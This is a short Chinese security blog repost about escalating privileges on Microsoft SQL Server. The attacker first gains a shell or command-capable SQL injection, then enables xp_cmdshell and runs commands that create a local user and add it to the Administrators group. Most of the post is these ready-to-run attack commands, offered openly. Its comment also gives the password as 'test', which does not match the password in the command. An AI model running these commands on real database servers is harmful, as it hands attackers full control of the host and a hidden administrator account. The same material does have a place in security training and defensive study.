MSSQL提权之xp_cmdshell

admin 2021年4月23日02:09:27评论95 views字数 657阅读2分11秒阅读模式

MSSQL提权之xp_cmdshell

0x01 前提

  1. getshell或者存在sql注入并且能够执行命令。

  2. sql server是system权限,sql server默认就是system权限。


0x02 xp_cmdshell

有了xp_cmdshell的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。

开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;

关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 0;reconfigure


0x03 提权

exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码testexec master..xp_cmdshell 'net localgroup administrators test add'    添加test用户到管理员组

MSSQL提权之xp_cmdshell



转载自:卿先生博客地址:https://www.cnblogs.com/-qing-/p/10692824.html


没有专业运营团队,纯个人凭着空闲时间的学习,通过网络搜集与学习整理的资料记录并分享。

 如果觉得文章对你有帮助,请支持下点击右下角“在看”

MSSQL提权之xp_cmdshell


本文始发于微信公众号(LemonSec):MSSQL提权之xp_cmdshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月23日02:09:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MSSQL提权之xp_cmdshellhttps://cn-sec.com/archives/304630.html

发表评论

匿名网友 填写信息